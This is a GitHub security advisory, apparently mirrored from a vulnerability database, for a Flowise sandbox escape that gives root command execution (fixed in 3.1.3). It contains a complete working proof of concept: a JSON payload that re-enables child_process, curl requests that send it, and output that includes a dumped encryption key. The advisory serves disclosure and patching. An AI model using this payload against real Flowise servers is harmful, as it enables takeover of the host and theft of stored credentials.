GHSA-3769-JGQC-CXM7
Vulnerability from github – Published: 2026-08-04 15:29 – Updated: 2026-08-04 15:29Summary
A sandbox escape vulnerability in executeJavaScriptCode() allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided nodeVMOptions that override the
default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like child_process and fs.
Details
The vulnerability is in packages/components/src/utils.ts at line 1755:
```typescript const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }
The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:
async (code, sandbox, options = {}) => { const { nodeVMOptions = {} } = options; // ... const defaultNodeVMOptions = { require: { builtin: builtinDeps, // restricted allowlist — blocks child_process, fs, os, etc. mock: secureWrappers }, eval: false, wasm: false } const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } // ← VULN: caller overrides security settings const vm = new NodeVM(finalNodeVMOptions) } ``` The spread operator allows any caller to override require.builtin with ["*"], which permits all Node.js built-in modules including child_process.
Taint 01: Route Registration
packages/server/src/routes/node-custom-functions/index.ts (line 8)
Taint 02: Controller
executeCustomFunction() passes req.body to service — packages/server/src/controllers/nodes/index.ts (line 90)
Taint 03: Service
executeCustomNodeFunction() loads the customFunction node and calls init() with user-provided javascriptFunction — packages/server/src/utils/executeCustomNodeFunction.ts (line 49)
Taint 04: Sandbox Entry
Code runs inside NodeVM via executeJavaScriptCode() — packages/components/src/utils.ts (line 1760)
Taint 05: Escape
Inside the sandbox, the attacker requires flowise-components/dist/src/utils.js by absolute path (bypassing the module allowlist), obtaining a reference to executeJavaScriptCode() itself
Taint 06: Override
The attacker calls executeJavaScriptCode() with nodeVMOptions: { require: { builtin: ["*"] } }, which overrides the security defaults at line 1755: { ...defaultNodeVMOptions, ...nodeVMOptions }
Taint 07: RCE
Inside the nested VM, require("child_process") succeeds. Arbitrary commands execute as root.
PoC
Step 1: Start Flowise
```bash
docker run -d --name flowise-poc -p 3000:3000 \
-e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \
flowiseai/flowise:latest
# Wait ~30s for startup
curl http://localhost:3000/api/v1/version
# {"version":"3.1.1"}
```
Step 2: Obtain Bearer Token
Register an account, then create an API key:
```bash
# Register
curl -s -X POST http://localhost:3000/api/v1/account/register \
-H "Content-Type: application/json" \
-d '{"user":{"email":"attacker@test.com","password":"Attack12345","name":"Attacker"}}'
# Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create)
# Copy the key — this is the Bearer token used below.
```
Step 3: Create Payload
bash
cat > exploit.json << 'EOF'
{
"javascriptFunction": "const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\"child_process\"); cp.execSync(\"id > /tmp/RCE-PROOF.txt\");
return cp.execSync(\"id\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\"*\"] } } })"
}
EOF
Step 4: Exploit
```bash
# Pre-check: file does not exist
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# ls: /tmp/RCE-PROOF.txt: No such file or directory
# Execute
curl -X POST http://localhost:3000/api/v1/node-custom-function \
-H "Content-Type: application/json" \
-H "Authorization: Bearer " \
-d @exploit.json
# "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\n"
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# -rw-r--r-- 1 root root 138 Apr 2 05:02 /tmp/RCE-PROOF.txt
docker exec flowise-poc cat /tmp/RCE-PROOF.txt
# uid=0(root) gid=0(root) groups=0(root)...
docker exec flowise-poc cat /root/.flowise/encryption.key
# GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb
```
Impact
Full remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at /root/.flowise/encryption.key (which
decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at /root/.flowise/jwt_auth_token_secret.key (which allows forging authentication tokens for any user), and establish persistent
access via cron jobs or reverse shells. All Flowise deployments running >= 3.0.5 through 3.1.1 (latest) are affected.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise-components"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69254"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T15:29:12Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nA sandbox escape vulnerability in `executeJavaScriptCode()` allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided `nodeVMOptions` that override the\n default sandbox security settings via JavaScript\u0027s spread operator, allowing an attacker to re-enable blocked modules like `child_process` and `fs`.\n\n### Details\nThe vulnerability is in `packages/components/src/utils.ts` at line 1755:\n\n ```typescript\n const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }\n\n The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:\n\n async (code, sandbox, options = {}) =\u003e {\n const { nodeVMOptions = {} } = options;\n // ...\n const defaultNodeVMOptions = {\n require: {\n builtin: builtinDeps, // restricted allowlist \u2014 blocks child_process, fs, os, etc.\n mock: secureWrappers\n },\n eval: false,\n wasm: false\n }\n const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } // \u2190 VULN: caller overrides security settings\n const vm = new NodeVM(finalNodeVMOptions)\n }\n```\nThe spread operator allows any caller to override require.builtin with [\"*\"], which permits all Node.js built-in modules including child_process.\n\n\n**Taint 01: Route Registration** \n `packages/server/src/routes/node-custom-functions/index.ts` (line 8) \n \n **Taint 02: Controller** \n `executeCustomFunction()` passes `req.body` to service \u2014 `packages/server/src/controllers/nodes/index.ts` (line 90) \n \n **Taint 03: Service**\n `executeCustomNodeFunction()` loads the `customFunction` node and calls `init()` with user-provided `javascriptFunction` \u2014 `packages/server/src/utils/executeCustomNodeFunction.ts` (line 49)\n \n **Taint 04: Sandbox Entry** \n Code runs inside NodeVM via `executeJavaScriptCode()` \u2014 `packages/components/src/utils.ts` (line 1760) \n \n **Taint 05: Escape**\n Inside the sandbox, the attacker requires `flowise-components/dist/src/utils.js` by absolute path (bypassing the module allowlist), obtaining a reference to `executeJavaScriptCode()` itself\n \n **Taint 06: Override**\n The attacker calls `executeJavaScriptCode()` with `nodeVMOptions: { require: { builtin: [\"*\"] } }`, which overrides the security defaults at line 1755: `{ ...defaultNodeVMOptions, ...nodeVMOptions }` \n \n **Taint 07: RCE** \n Inside the nested VM, `require(\"child_process\")` succeeds. Arbitrary commands execute as root. \n\n\n\n\n\n### PoC\n **Step 1: Start Flowise** \n \n ```bash\n docker run -d --name flowise-poc -p 3000:3000 \\\n -e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \\ \n flowiseai/flowise:latest \n \n # Wait ~30s for startup \n curl http://localhost:3000/api/v1/version\n # {\"version\":\"3.1.1\"} \n ``` \n \n **Step 2: Obtain Bearer Token**\n\n Register an account, then create an API key: \n \n ```bash \n # Register \n curl -s -X POST http://localhost:3000/api/v1/account/register \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"user\":{\"email\":\"attacker@test.com\",\"password\":\"Attack12345\",\"name\":\"Attacker\"}}\u0027 \n \n # Create API key (via the UI at http://localhost:3000 \u2192 Settings \u2192 API Keys \u2192 Create) \n # Copy the key \u2014 this is the Bearer token used below. \n ``` \n \n **Step 3: Create Payload** \n \n ```bash\n cat \u003e exploit.json \u003c\u003c \u0027EOF\u0027\n {\n \"javascriptFunction\": \"const utils = require(\u0027/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js\u0027); const code = \u0027const cp = require(\\\"child_process\\\"); cp.execSync(\\\"id \u003e /tmp/RCE-PROOF.txt\\\"); \n return cp.execSync(\\\"id\\\").toString()\u0027; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\\\"*\\\"] } } })\" \n } \n EOF \n ``` \n\n **Step 4: Exploit**\n\n ```bash\n # Pre-check: file does not exist\n docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt \n # ls: /tmp/RCE-PROOF.txt: No such file or directory \n \n # Execute \n curl -X POST http://localhost:3000/api/v1/node-custom-function \\\n -H \"Content-Type: application/json\" \\ \n -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n -d @exploit.json \n # \"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\\n\" \n \n docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt \n # -rw-r--r-- 1 root root 138 Apr 2 05:02 /tmp/RCE-PROOF.txt \n \n docker exec flowise-poc cat /tmp/RCE-PROOF.txt \n # uid=0(root) gid=0(root) groups=0(root)... \n \n docker exec flowise-poc cat /root/.flowise/encryption.key\n # GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb \n ``` \n\u003cimg width=\"1919\" height=\"1033\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3a2473f0-75a7-4c01-8c9d-9c758cf957fc\" /\u003e\n\n\n### Impact\nFull remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at `/root/.flowise/encryption.key` (which \n decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at `/root/.flowise/jwt_auth_token_secret.key` (which allows forging authentication tokens for any user), and establish persistent\n access via cron jobs or reverse shells. All Flowise deployments running \u003e= 3.0.5 through 3.1.1 (latest) are affected.",
"id": "GHSA-3769-jgqc-cxm7",
"modified": "2026-08-04T15:29:13Z",
"published": "2026-08-04T15:29:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3769-jgqc-cxm7"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/6306"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/3086cb7e323bb96c5a581d3232ef975b0d92183d"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.